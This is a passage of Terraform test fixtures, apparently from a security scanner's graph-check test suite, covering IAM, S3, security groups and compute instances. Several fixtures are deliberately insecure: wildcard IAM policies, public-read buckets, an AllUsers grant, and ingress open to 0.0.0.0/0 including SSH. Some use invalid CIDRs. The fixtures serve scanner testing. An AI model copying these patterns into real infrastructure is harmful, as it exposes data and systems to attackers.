local.name : "" description = "Normalized name" } output "stage" { value = local.enabled ? local.stage : "" description = "Normalized stage" } output "delimiter" { value = local.enabled ? local.delimiter : "" description = "Delimiter between `namespace`, `tenant`, `environment`, `stage`, `name` and `attributes`" } output "attributes" { value = local.enabled ? local.attributes : [] description = "List of attributes" } output "tags" { value = local.enabled ? local.tags : {} description = "Normalized Tag map" } output "additional_tag_map" { value = local.additional_tag_map description = "The merged additional_tag_map" } output "label_order" { value = local.label_order description = "The naming order actually used to create the ID" } output "regex_replace_chars" { value = local.regex_replace_chars description = "The regex_replace_chars actually used to create the ID" } output "id_length_limit" { value = local.id_length_limit description = "The id_length_limit actually used to create the ID, with `0` meaning unlimited" } output "tags_as_list_of_maps" { value = local.tags_as_list_of_maps description = <<-EOT This is a list with one map for each `tag`. Each map contains the tag `key`, `value`, and contents of `var.additional_tag_map`. Used in the rare cases where resources need additional configuration information for each tag. EOT } output "descriptors" { value = local.descriptors description = "Map of descriptors as configured by `descriptor_formats`" } output "normalized_context" { value = local.output_context description = "Normalized context of this module" } output "context" { value = local.input description = <<-EOT Merged but otherwise unmodified input to this module, to be used as context input to other modules. Note: this version will have null values as defaults, not the values actually used as defaults. EOT } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/four/variable.tf ================================================ variable "context" { type = any default = { enabled = true namespace = null tenant = null environment = null stage = null name = null delimiter = null attributes = [] tags = {} additional_tag_map = {} regex_replace_chars = null label_order = [] id_length_limit = null label_key_case = null label_value_case = null descriptor_formats = {} # Note: we have to use [] instead of null for unset lists due to # https://github.com/hashicorp/terraform/issues/28137 # which was not fixed until Terraform 1.0.0, # but we want the default to be all the labels in `label_order` # and we want users to be able to prevent all tag generation # by setting `labels_as_tags` to `[]`, so we need # a different sentinel to indicate "default" labels_as_tags = ["unset"] } description = <<-EOT Single object for setting entire context at once. See description of individual variables for details. Leave string and numeric variables as `null` to use default value. Individual variable settings (non-null) override settings in context object, except for attributes, tags, and additional_tag_map, which are merged. EOT validation { condition = lookup(var.context, "label_key_case", null) == null ? true : contains(["lower", "title", "upper"], var.context["label_key_case"]) error_message = "Allowed values: `lower`, `title`, `upper`." } validation { condition = lookup(var.context, "label_value_case", null) == null ? true : contains(["lower", "title", "upper", "none"], var.context["label_value_case"]) error_message = "Allowed values: `lower`, `title`, `upper`, `none`." } } variable "enabled" { type = bool default = null description = "Set to false to prevent the module from creating any resources" } variable "namespace" { type = string default = null description = "ID element. Usually an abbreviation of your organization name, e.g. 'eg' or 'cp', to help ensure generated IDs are globally unique" } variable "tenant" { type = string default = null description = "ID element _(Rarely used, not included by default)_. A customer identifier, indicating who this instance of a resource is for" } variable "environment" { type = string default = null description = "ID element. Usually used for region e.g. 'uw2', 'us-west-2', OR role 'prod', 'staging', 'dev', 'UAT'" } variable "stage" { type = string default = null description = "ID element. Usually used to indicate role, e.g. 'prod', 'staging', 'source', 'build', 'test', 'deploy', 'release'" } variable "name" { type = string default = null description = <<-EOT ID element. Usually the component or solution name, e.g. 'app' or 'jenkins'. This is the only ID element not also included as a `tag`. The "name" tag is set to the full `id` string. There is no tag with the value of the `name` input. EOT } variable "delimiter" { type = string default = null description = <<-EOT Delimiter to be used between ID elements. Defaults to `-` (hyphen). Set to `""` to use no delimiter at all. EOT } variable "attributes" { type = list(string) default = [] description = <<-EOT ID element. Additional attributes (e.g. `workers` or `cluster`) to add to `id`, in the order they appear in the list. New attributes are appended to the end of the list. The elements of the list are joined by the `delimiter` and treated as a single ID element. EOT } variable "labels_as_tags" { type = set(string) default = ["default"] description = <<-EOT Set of labels (ID elements) to include as tags in the `tags` output. Default is to include all labels. Tags with empty values will not be included in the `tags` output. Set to `[]` to suppress all generated tags. **Notes:** The value of the `name` tag, if included, will be the `id`, not the `name`. Unlike other `null-label` inputs, the initial setting of `labels_as_tags` cannot be changed in later chained modules. Attempts to change it will be silently ignored. EOT } variable "tags" { type = map(string) default = {} description = <<-EOT Additional tags (e.g. `{'BusinessUnit': 'XYZ'}`). Neither the tag keys nor the tag values will be modified by this module. EOT } variable "additional_tag_map" { type = map(string) default = {} description = <<-EOT Additional key-value pairs to add to each map in `tags_as_list_of_maps`. Not added to `tags` or `id`. This is for some rare cases where resources want additional configuration of tags and therefore take a list of maps with tag key, value, and additional configuration. EOT } variable "label_order" { type = list(string) default = null description = <<-EOT The order in which the labels (ID elements) appear in the `id`. Defaults to ["namespace", "environment", "stage", "name", "attributes"]. You can omit any of the 6 labels ("tenant" is the 6th), but at least one must be present. EOT } variable "regex_replace_chars" { type = string default = null description = <<-EOT Terraform regular expression (regex) string. Characters matching the regex will be removed from the ID elements. If not set, `"/[^a-zA-Z0-9-]/"` is used to remove all characters other than hyphens, letters and digits. EOT } variable "id_length_limit" { type = number default = null description = <<-EOT Limit `id` to this many characters (minimum 6). Set to `0` for unlimited length. Set to `null` for keep the existing setting, which defaults to `0`. Does not affect `id_full`. EOT validation { condition = var.id_length_limit == null ? true : var.id_length_limit >= 6 || var.id_length_limit == 0 error_message = "The id_length_limit must be >= 6 if supplied (not null), or 0 for unlimited length." } } variable "label_key_case" { type = string default = null description = <<-EOT Controls the letter case of the `tags` keys (label names) for tags generated by this module. Does not affect keys of tags passed in via the `tags` input. Possible values: `lower`, `title`, `upper`. Default value: `title`. EOT validation { condition = var.label_key_case == null ? true : contains(["lower", "title", "upper"], var.label_key_case) error_message = "Allowed values: `lower`, `title`, `upper`." } } variable "label_value_case" { type = string default = null description = <<-EOT Controls the letter case of ID elements (labels) as included in `id`, set as tag values, and output by this module individually. Does not affect values of tags passed in via the `tags` input. Possible values: `lower`, `title`, `upper` and `none` (no transformation). Set this to `title` and set `delimiter` to `""` to yield Pascal Case IDs. Default value: `lower`. EOT validation { condition = var.label_value_case == null ? true : contains(["lower", "title", "upper", "none"], var.label_value_case) error_message = "Allowed values: `lower`, `title`, `upper`, `none`." } } variable "descriptor_formats" { type = any default = {} description = <<-EOT Describe additional descriptors to be output in the `descriptors` output map. Map of maps. Keys are names of descriptors. Values are maps of the form `{ format = string labels = list(string) }` (Type is `any` so the map values can later be enhanced to provide additional options.) `format` is a Terraform format string to be passed to the `format()` function. `labels` is a list of labels, in order, to pass to `format()` function. Label values will be normalized before being passed to `format()` so they will be identical to how they appear in `id`. Default is `{}` (`descriptors` output will be empty). EOT } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/main.tf ================================================ data "aws_iam_policy_document" "default" { count = var.enabled ? 1 : 0 statement { actions = "*" resources = "*" effect = "Allow" } } module "s3_user" { source = "./third" namespace = var.namespace stage = var.stage environment = var.environment name = var.name attributes = var.attributes tags = var.tags enabled = var.enabled force_destroy = var.force_destroy path = var.path } resource "aws_iam_user_policy" "default" { count = var.enabled ? 1 : 0 name = module.s3_user.user_name user = module.s3_user.user_name policy = join("", data.aws_iam_policy_document.default.*.json) } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/outputs.tf ================================================ output "user_name" { value = module.s3_user.user_name description = "Normalized IAM user name" } output "user_arn" { value = module.s3_user.user_arn description = "The ARN assigned by AWS for the user" } output "user_unique_id" { value = module.s3_user.user_unique_id description = "The user unique ID assigned by AWS" } output "access_key_id" { sensitive = true value = module.s3_user.access_key_id description = "Access Key ID" } output "secret_access_key" { sensitive = true value = module.s3_user.secret_access_key description = "Secret Access Key. This will be written to the state file in plain-text" } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/third/main.tf ================================================ module "label" { source = "../four" namespace = var.namespace stage = var.stage environment = var.environment name = var.name attributes = var.attributes delimiter = var.delimiter tags = var.tags enabled = var.enabled } # Defines a user that should be able to write to you test bucket resource "aws_iam_user" "default" { count = var.enabled ? 1 : 0 name = module.label.id path = var.path force_destroy = var.force_destroy tags = var.tags } # Generate API credentials resource "aws_iam_access_key" "default" { count = var.enabled ? 1 : 0 user = aws_iam_user.default[0].name } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/third/outputs.tf ================================================ output "user_name" { value = join("", aws_iam_user.default.*.name) description = "Normalized IAM user name" } output "user_arn" { value = join("", aws_iam_user.default.*.arn) description = "The ARN assigned by AWS for this user" } output "user_unique_id" { value = join("", aws_iam_user.default.*.unique_id) description = "The unique ID assigned by AWS" } output "access_key_id" { value = join("", aws_iam_access_key.default.*.id) description = "The access key ID" } output "secret_access_key" { sensitive = true value = join("", aws_iam_access_key.default.*.secret) description = "The secret access key. This will be written to the state file in plain-text" } output "ses_smtp_password" { sensitive = true value = join("", aws_iam_access_key.default.*.ses_smtp_password) description = "The secret access key converted into an SES SMTP password by applying AWS's documented conversion algorithm." } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/third/variable.tf ================================================ variable "name" { type = string description = "The Name of the application or solution (e.g. `bastion` or `portal`)" } variable "namespace" { type = string description = "Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'" default = "" } variable "stage" { type = string description = "Stage (e.g. `prod`, `dev`, `staging`)" default = "" } variable "environment" { type = string default = "" description = "Environment, e.g. 'prod', 'staging', 'dev', 'pre-prod', 'UAT'" } variable "attributes" { type = list(string) description = "Additional attributes (e.g. `1`)" default = [] } variable "tags" { type = map(string) description = "Additional tags (e.g. `map('BusinessUnit','XYZ')`)" default = {} } variable "delimiter" { type = string description = "Delimiter to be used between `name`, `namespace`, `stage`, etc." default = "-" } variable "force_destroy" { type = bool description = "Destroy the user even if it has non-Terraform-managed IAM access keys, login profile or MFA devices" default = false } variable "path" { type = string description = "Path in which to create the user" default = "/" } variable "enabled" { type = bool description = "Set to false to prevent the module from creating any resources" default = true } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/variables.tf ================================================ variable "namespace" { type = string default = "" description = "Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'" } variable "environment" { type = string default = "" description = "Environment, e.g. 'prod', 'staging', 'dev', 'pre-prod', 'UAT'" } variable "stage" { type = string default = "" description = "Stage, e.g. 'prod', 'staging', 'dev', OR 'source', 'build', 'test', 'deploy', 'release'" } variable "name" { type = string default = "" description = "Solution name, e.g. 'app' or 'jenkins'" } variable "delimiter" { type = string default = "-" description = "Delimiter to be used between `namespace`, `environment`, `stage`, `name` and `attributes`" } variable "attributes" { type = list(string) default = [] description = "Additional attributes (e.g. `1`)" } variable "tags" { type = map(string) default = {} description = "Additional tags (e.g. `map('BusinessUnit','XYZ')`" } variable "enabled" { type = bool default = true description = "Set to false to prevent the module from creating any resources" } variable "s3_actions" { type = list(string) default = ["s3:GetObject"] description = "Actions to allow in the policy" } variable "s3_resources" { type = list(string) description = "S3 resources to apply the actions specified in the policy" } variable "force_destroy" { type = bool default = false description = "Destroy even if it has non-Terraform-managed IAM access keys, login profiles or MFA devices" } variable "path" { type = string default = "/" description = "Path in which to create the user" } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/versions.tf ================================================ terraform { required_version = "~> 0.12.0" required_providers { aws = "~> 2.0" local = "~> 1.2" null = "~> 2.0" } } ================================================ FILE: tests/terraform/graph/resources/none_contains/main.tf ================================================ variable "iterator" {} resource "azurerm_key_vault" "kv" { dynamic "network_acls" { for_each = [] content { default_action = "Deny" bypass = "" ip_rules = null virtual_network_subnet_ids = null } } location = "" name = "" resource_group_name = "" sku_name = "" tenant_id = "" } ================================================ FILE: tests/terraform/graph/resources/number_of_words/main.tf ================================================ resource "aws_security_group" "sg1" { description = "sg1" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "25.0.9.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "8182" } } resource "aws_security_group" "sg2" { description = "security_group_2" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to SG" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } } ================================================ FILE: tests/terraform/graph/resources/oci_policies/main.tf ================================================ resource "oci_identity_policy" "example" { compartment_id = var.tenancy_id statements = ["allow group group-admin-001 to use groups in tenancy where target.group.name != 'Administrators'"] } ================================================ FILE: tests/terraform/graph/resources/output_example/main.tf ================================================ module "submodule" { source = "./submodule" } resource "aws_subnet" "my_subnet" { vpc_id = module.submodule.vpc_id cidr_block = "172.16.10.0/24" availability_zone = "us-west-2a" tags = { Name = "tf-example" } } ================================================ FILE: tests/terraform/graph/resources/output_example/submodule/main.tf ================================================ resource "aws_vpc" "my_vpc" { cidr_block = "172.16.0.0/16" tags = { Name = "tf-example" } } ================================================ FILE: tests/terraform/graph/resources/output_example/submodule/outputs.tf ================================================ output "vpc_id" { value = aws_vpc.my_vpc.id } ================================================ FILE: tests/terraform/graph/resources/public_security_groups/main.tf ================================================ resource "aws_vpc" "my_vpc" { cidr_block = "172.16.0.0/16" tags = { Name = "tf-example" } } resource "aws_security_group" "aws_security_group_public" { vpc_id = aws_vpc.my_vpc.id ingress { cidr_blocks = ["0.0.0.0/0"] from_port = 0 protocol = "" to_port = 0 } } resource "aws_security_group" "aws_security_group_private" { vpc_id = aws_vpc.my_vpc.id ingress { cidr_blocks = ["25.09.19.92/0"] from_port = 0 protocol = "" to_port = 0 } } resource "aws_db_security_group" "aws_db_security_group_public" { name = "rds_sg" ingress { cidr = "0.0.0.0" } } resource "aws_db_security_group" "aws_db_security_group_private" { name = "rds_sg" ingress { cidr = "10.0.0.0/24" } } resource "aws_redshift_security_group" "aws_redshift_security_group_public" { name = "redshift-sg" ingress { cidr = "0.0.0.0" } } resource "aws_redshift_security_group" "aws_redshift_security_group_private" { name = "redshift-sg" ingress { cidr = "25.09.19.92/0" } } resource "aws_elasticache_security_group" "aws_elasticache_security_group_public" { name = "elasticache-security-group" security_group_names = [aws_security_group.aws_security_group_public.name] } resource "aws_elasticache_security_group" "aws_elasticache_security_group_private" { name = "elasticache-security-group" security_group_names = [aws_security_group.aws_security_group_private.name] } ================================================ FILE: tests/terraform/graph/resources/public_security_groups/output.tf ================================================ output "aws_security_group_public" { value = aws_security_group.aws_security_group_public.id } output "aws_security_group_private" { value = aws_security_group.aws_security_group_private.id } output "aws_db_security_group_public" { value = aws_db_security_group.aws_db_security_group_public.id } output "aws_db_security_group_private" { value = aws_db_security_group.aws_db_security_group_private.id } output "aws_redshift_security_group_public" { value = aws_redshift_security_group.aws_redshift_security_group_public.id } output "aws_redshift_security_group_private" { value = aws_redshift_security_group.aws_redshift_security_group_private.id } output "aws_elasticache_security_group_public" { value = aws_elasticache_security_group.aws_elasticache_security_group_public.id } output "aws_elasticache_security_group_private" { value = aws_elasticache_security_group.aws_elasticache_security_group_private.id } ================================================ FILE: tests/terraform/graph/resources/public_virtual_machines/main.tf ================================================ resource "aws_vpc" "my_vpc" { cidr_block = "172.16.0.0/16" tags = { Name = "tf-example" } } resource "aws_subnet" "subnet_public_ip" { vpc_id = aws_vpc.my_vpc.id cidr_block = "172.16.10.0/24" availability_zone = "us-west-2a" map_public_ip_on_launch = true tags = { Name = "first-tf-example" } } resource "aws_subnet" "subnet_not_public_ip" { vpc_id = aws_vpc.my_vpc.id cidr_block = "172.16.10.0/24" availability_zone = "eu-central-1" tags = { Name = "second-tf-example" } } resource "aws_default_security_group" "default_security_group_open" { vpc_id = aws_vpc.my_vpc.id ingress { protocol = -1 self = true from_port = 0 to_port = 0 cidr_blocks = ["0.0.0.0/0"] } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } } resource "aws_default_security_group" "default_security_group_closed" { vpc_id = aws_vpc.my_vpc.id ingress { protocol = -1 self = true from_port = 0 to_port = 0 } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } } resource "aws_instance" "with_open_def_security_groups" { ami = "ami-0" instance_type = "t2.micro" credit_specification { cpu_credits = "unlimited" } security_groups = [aws_default_security_group.default_security_group_open.id] } resource "aws_instance" "with_closed_def_security_groups" { ami = "ami-1" instance_type = "t2.micro" credit_specification { cpu_credits = "unlimited" } security_groups = [aws_default_security_group.default_security_group_closed.id] } resource "aws_instance" "with_open_security_groups" { ami = "ami-2" instance_type = "t2.micro" credit_specification { cpu_credits = "unlimited" } vpc_security_group_ids = [aws_security_group.allow_tls.id] } resource "aws_security_group" "allow_tls" { name = "allow_tls" description = "Allow TLS inbound traffic" vpc_id = aws_vpc.my_vpc.id ingress { description = "TLS from VPC" from_port = 443 to_port = 443 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } tags = { Name = "allow_tls" } } resource "aws_instance" "with_subnet_public" { ami = "ami-3" instance_type = "t2.micro" credit_specification { cpu_credits = "unlimited" } subnet_id = aws_subnet.subnet_public_ip.id } resource "aws_instance" "with_subnet_not_public" { ami = "ami-4" instance_type = "t2.micro" credit_specification { cpu_credits = "unlimited" } subnet_id = aws_subnet.subnet_not_public_ip.id } ================================================ FILE: tests/terraform/graph/resources/reset_edges/main.tf ================================================ resource "aws_s3_bucket" "destination" { bucket = "tf-test-bucket-destination-12345" acl = var.acl versioning { enabled = var.is_enabled } } ================================================ FILE: tests/terraform/graph/resources/reset_edges/variables.tf ================================================ variable "is_enabled" { default = "True" } variable "acl" { default = "public-read" } ================================================ FILE: tests/terraform/graph/resources/s3_bucket/main.tf ================================================ resource "aws_s3_bucket" "destination" { bucket = "tf-test-bucket-destination-12345" acl = var.acl versioning { enabled = var.is_enabled } } ================================================ FILE: tests/terraform/graph/resources/s3_bucket/variables.tf ================================================ variable "is_enabled" { default = "True" } variable "acl" { default = "public-read" } ================================================ FILE: tests/terraform/graph/resources/s3_bucket_2/main.tf ================================================ resource "aws_s3_bucket" "private" { bucket = "my-tf-test-bucket" acl = "private" tags = { Name = "My bucket" Environment = "Dev" } } resource "aws_s3_bucket" "public" { bucket = "my-tf-test-bucket" acl = "public" tags = { Name = "My other bucket" Environment = "Prod" } } resource "aws_s3_bucket" "non_tag" { bucket = "no-tags" acl = "public" } ================================================ FILE: tests/terraform/graph/resources/s3_bucket_grant/main.tf ================================================ resource "aws_s3_bucket" "grant" { bucket = "acme-dev-financials" force_destroy = "False" grant { permissions = ["READ_ACP"] type = "Group" uri = "http://acs.amazonaws.com/groups/global/AllUsers" } grant { id = "1234567890" permissions = ["FULL_CONTROL"] type = "CanonicalUser" } hosted_zone_id = "EXAMPLE" request_payer = "BucketOwner" versioning { enabled = "False" mfa_delete = "False" } } ================================================ FILE: tests/terraform/graph/resources/s3_bucket_policy/main.tf ================================================ resource "aws_s3_bucket" "good" { bucket = "bucket_good" } resource "aws_s3_bucket_policy" "good" { bucket = aws_s3_bucket.good.id policy = data.aws_iam_policy_document.good.json } data "aws_iam_policy_document" "good" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:Describe*", ] resources = [ "arn:aws:s3:::examplebucket", ] } } resource "aws_s3_bucket" "bad" { bucket = "bucket_good" } resource "aws_s3_bucket_policy" "bad" { bucket = aws_s3_bucket.bad.id policy = data.aws_iam_policy_document.bad.json } data "aws_iam_policy_document" "bad" { version = "2012-10-17" statement { effect = "Allow" actions = [ "s3:Describe*", ] resources = [ "*", ] } } ================================================ FILE: tests/terraform/graph/resources/security_group_list_cidr_blocks/main.tf ================================================ resource "aws_security_group" "failed_cidr_blocks" { name = "friendly_subnets" description = "Allows access from friendly subnets" ingress { from_port = 0 to_port = 0 protocol = -1 cidr_blocks = ["10.1.1.0/24", "10.1.2.0/24", "10.1.3.0/24"] } } resource "aws_security_group" "passed_cidr_block" { name = "friendly_subnets" description = "Allows access from friendly subnets" ingress { from_port = 0 to_port = 0 protocol = -1 cidr_blocks = ["10.2.1.0/24", "10.2.2.0/24", "10.2.3.0/24"] } } resource "aws_security_group" "passed_multiple_ingress" { name = "friendly_subnets" description = "Allows access from friendly subnets" ingress { from_port = 0 to_port = 0 protocol = -1 cidr_blocks = ["10.0.0.0/8", "192.168.1.0/24"] } ingress { from_port = 0 to_port = 0 protocol = -1 cidr_blocks = ["192.168.0.124/32"] } } ================================================ FILE: tests/terraform/graph/resources/security_group_multiple_rules/main.tf ================================================ resource "aws_security_group" "sg1" { description = "sg1" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "25.0.9.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "8182" } egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "5432" } } resource "aws_security_group" "sg2" { description = "sg2" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "8.0.4.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "5432" } } ================================================ FILE: tests/terraform/graph/resources/security_group_multiple_rules2/main.tf ================================================ resource "aws_security_group" "sg1" { description = "sg1" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "25.0.9.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "8182" } egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "5432" } } resource "aws_security_group" "sg2" { description = "sg2" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "8.0.4.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "5432" } } ================================================ FILE: tests/terraform/graph/resources/security_group_multiple_rules3/main.tf ================================================ resource "aws_security_group" "sg1" { description = "sg1" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "25.0.9.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "22" to_port = "22" protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] security_groups = ["sg-id-0"] self = "false" } egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "443" to_port = "443" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" cidr_blocks = ["0.0.0.0/0", "8.0.4.19/92"] } } resource "aws_security_group" "sg2" { description = "sg2" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "1234" } egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "8.0.4.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "5432" } } resource "aws_security_group" "sg3" { description = "sg2" egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "22" protocol = "tcp" security_groups = ["sg-id-0"] cidr_blocks = ["0.0.0.0/16"] self = "false" to_port = "22" } egress { description = "Self Reference" cidr_blocks = ["0.0.0.0/0", "8.0.4.19/92"] from_port = "0" protocol = "-1" self = "false" to_port = "0" } ingress { description = "Access to Bastion Host Security Group" from_port = "5432" protocol = "tcp" security_groups = ["sg-id-0"] self = "false" to_port = "5432" } } ================================================ FILE: tests/terraform/graph/resources/tag_includes/main.tf ================================================ resource "aws_instance" "some_instance" { ami = "some_ami" instance_type = "t3.nano" tags = { Name = "acme-machine" } } resource "aws_subnet" "acme_subnet" { cidr_block = "" vpc_id = "" tags = { acme = "true" Name = "notacme-subnet" } } resource "aws_s3_bucket" "acme_s3_bucket" { bucket = "acme-123456" tags = { Environment = "dev" } } ================================================ FILE: tests/terraform/graph/resources/terraform_block/main.tf ================================================ terraform { backend "s3" { encrypt = true } required_version = "1.1.5" required_providers { aws = { version = ">= 2.7.0" source = "hashicorp/aws" } } } ================================================ FILE: tests/terraform/graph/resources/tf_parsing_comparison/modifications_diff/main.tf ================================================ resource "google_compute_instance" "tfer--test3" { boot_disk { auto_delete = "true" device_name = "test3" mode = "READ_WRITE" source = "https://www.googleapis.com/compute/v1/projects/disco-sector-283918/zones/us-central1-a/disks/test3" } can_ip_forward = "false" deletion_protection = "false" enable_display = "false" machine_type = "e2-medium" name = "test3" network_interface { access_config { nat_ip = "34.122.7.28" network_tier = "PREMIUM" } network = "https://www.googleapis.com/compute/v1/projects/disco-sector-283918/global/networks/default" network_ip = "10.128.0.4" subnetwork = "https://www.googleapis.com/compute/v1/projects/disco-sector-283918/regions/us-central1/subnetworks/default" subnetwork_project = "disco-sector-283918" } project = "disco-sector-283918" scheduling { automatic_restart = "true" on_host_maintenance = "MIGRATE" preemptible = "false" } service_account { email = "630155383092-compute@developer.gserviceaccount.com" scopes = ["https://www.googleapis.com/auth/devstorage.read_only", "https://www.googleapis.com/auth/trace.append", "https://www.googleapis.com/auth/servicecontrol", "https://www.googleapis.com/auth/service.management.readonly", "https://www.googleapis.com/auth/monitoring.write", "https://www.googleapis.com/auth/logging.write"] } shielded_instance_config { enable_integrity_monitoring = "true" enable_secure_boot = "false" enable_vtpm = "true" } zone = "us-central1-a" } ================================================ FILE: tests/terraform/graph/resources/tf_parsing_comparison/tf_old/main.tf ================================================ resource "aws_cloudtrail" "tfer--cashdash_trail" { enable_log_file_validation = "true" enable_logging = "true" include_global_service_events = "true" is_multi_region_trail = "true" is_organization_trail = "false" kms_key_id = "arn:aws:kms:us-east-1:098885917934:key/5e7c4a79-bd63-42ca-9ae0-8f8e41f9c2f1" name = "cashdash_trail" s3_bucket_name = "cashdash-trail" sns_topic_name = "arn:aws:sns:us-east-1:098885917934:clodtrail-sns-topic" } resource "google_compute_instance" "tfer--sentry-002D-v1" { attached_disk { device_name = "sentry" mode = "READ_WRITE" source = "https://www.googleapis.com/compute/v1/projects/be-base-wksp-v1/zones/us-west3-b/disks/sentry-data-v1" } boot_disk { auto_delete = "true" device_name = "persistent-disk-0" initialize_params { image = "https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-10-buster-v20200910" size = "10" type = "pd-standard" } kms_key_self_link = "projects/acme-project/locations/global/keyRings/global-v1/cryptoKeys/global-disk-key" mode = "READ_WRITE" source = "https://www.googleapis.com/compute/v1/projects/acme-project/zones/us-west3-b/disks/sentry-v1" } can_ip_forward = "false" deletion_protection = "false" enable_display = "false" machine_type = "n1-standard-2" metadata = { block-project-ssh-keys = "true" some-other-attribute = "false" } name = "sentry-v1" network_interface { access_config { nat_ip = "34.106.48.192" network_tier = "PREMIUM" } network = "https://www.googleapis.com/compute/v1/projects/acme-project/global/networks/acme" network_ip = "10.40.0.53" subnetwork = "https://www.googleapis.com/compute/v1/projects/acme-project/regions/us-west3/subnetworks/sentry" subnetwork_project = "acme-project" } project = "acme-project" scheduling { automatic_restart = "true" on_host_maintenance = "MIGRATE" preemptible = "false" } service_account { email = "sentry-vm@acme-project.iam.gserviceaccount.com" scopes = ["https://www.googleapis.com/auth/userinfo.email", "https://www.googleapis.com/auth/logging.write", "https://www.googleapis.com/auth/monitoring.write", "https://www.googleapis.com/auth/devstorage.read_only"] } shielded_instance_config { enable_integrity_monitoring = "true" enable_secure_boot = "false" enable_vtpm = "true" } tags = ["allow-ssh", "allow-sentry"] zone = "us-west3-b" } ================================================ FILE: tests/terraform/graph/resources/tf_parsing_comparison/tf_regular/main.tf ================================================ resource "aws_cloudtrail" "tfer--cashdash_trail" { enable_log_file_validation = true enable_logging = true include_global_service_events = true is_multi_region_trail = true is_organization_trail = false kms_key_id = "arn:aws:kms:us-east-1:098885917934:key/5e7c4a79-bd63-42ca-9ae0-8f8e41f9c2f1" name = "cashdash_trail" s3_bucket_name = "cashdash-trail" sns_topic_name = "arn:aws:sns:us-east-1:098885917934:clodtrail-sns-topic" } resource "google_compute_instance" "tfer--sentry-002D-v1" { attached_disk { device_name = "sentry" mode = "READ_WRITE" source = "https://www.googleapis.com/compute/v1/projects/be-base-wksp-v1/zones/us-west3-b/disks/sentry-data-v1" } boot_disk { auto_delete = "true" device_name = "persistent-disk-0" initialize_params { image = "https://www.googleapis.com/compute/v1/projects/debian-cloud/global/images/debian-10-buster-v20200910" size = "10" type = "pd-standard" } kms_key_self_link = "projects/acme-project/locations/global/keyRings/global-v1/cryptoKeys/global-disk-key" mode = "READ_WRITE" source = "https://www.googleapis.com/compute/v1/projects/acme-project/zones/us-west3-b/disks/sentry-v1" } can_ip_forward = "false" deletion_protection = "false" enable_display = "false" machine_type = "n1-standard-2" metadata = { block-project-ssh-keys = "true" some-other-attribute = "false" } name 